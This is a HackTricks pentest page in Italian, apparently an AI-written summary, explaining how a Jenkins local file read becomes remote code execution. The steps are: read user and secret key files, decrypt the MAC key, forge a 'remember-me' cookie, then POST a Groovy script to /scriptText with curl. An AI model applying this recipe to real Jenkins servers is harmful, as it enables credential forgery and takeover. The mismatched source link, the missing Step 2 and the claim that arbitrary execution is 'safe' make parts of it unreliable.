Jenkins Arbitrary File Read to RCE via "Remember Me"

Support HackTricks

In questo post del blog è possibile trovare un ottimo modo per trasformare una vulnerabilità di Local File Inclusion in Jenkins in RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Questo è un riassunto creato dall'IA della parte del post in cui l'artefatto di un cookie arbitrario viene abusato per ottenere RCE abusando di una lettura di file locale fino a quando non ho tempo per creare un riassunto da solo:

Attack Prerequisites

  • Feature Requirement: "Remember me" deve essere abilitato (impostazione predefinita).

  • Access Levels: L'attaccante ha bisogno di permessi Overall/Read.

  • Secret Access: Capacità di leggere sia contenuti binari che testuali da file chiave.

Detailed Exploitation Process

Step 1: Data Collection

User Information Retrieval

  • Accedere alla configurazione utente e ai segreti da $JENKINS_HOME/users/*.xml per ciascun utente per raccogliere:

  • Username

  • User seed

  • Timestamp

  • Password hash

Secret Key Extraction

  • Estrarre le chiavi crittografiche utilizzate per firmare il cookie:

  • Secret Key: $JENKINS_HOME/secret.key

  • Master Key: $JENKINS_HOME/secrets/master.key

  • MAC Key File: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token Preparation

  • Calcolare il Tempo di Scadenza del Token:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // Aggiunge un'ora all'ora attuale
  • Concatenare i Dati per il Token:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Key Decryption

  • Decriptare il File della Chiave MAC:

key = toAes128Key(masterKey)  // Convertire la chiave master nel formato di chiave AES128
decrypted = AES.decrypt(macFile, key)  // Decriptare il file .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signature Computation

  • Calcolare HMAC SHA256:

mac = HmacSHA256(token, macKey)  // Calcolare HMAC utilizzando il token e la chiave MAC
tokenSignature = bytesToHexString(mac)  // Convertire la MAC in una stringa esadecimale

Cookie Encoding

  • Generare il Cookie Finale:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Codificare in Base64 i dati del cookie

Step 3: Code Execution

Session Authentication

  • Recuperare i Token CSRF e di Sessione:

  • Effettuare una richiesta a /crumbIssuer/api/json per ottenere Jenkins-Crumb.

  • Catturare JSESSIONID dalla risposta, che sarà utilizzato insieme al cookie "remember-me".

Command Execution Request

  • Inviare una Richiesta POST con uno Script Groovy:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Lo script Groovy può essere utilizzato per eseguire comandi a livello di sistema o altre operazioni all'interno dell'ambiente Jenkins.

L'esempio di comando curl fornito dimostra come effettuare una richiesta a Jenkins con le intestazioni e i cookie necessari per eseguire codice arbitrario in modo sicuro.

Support HackTricks

Last updated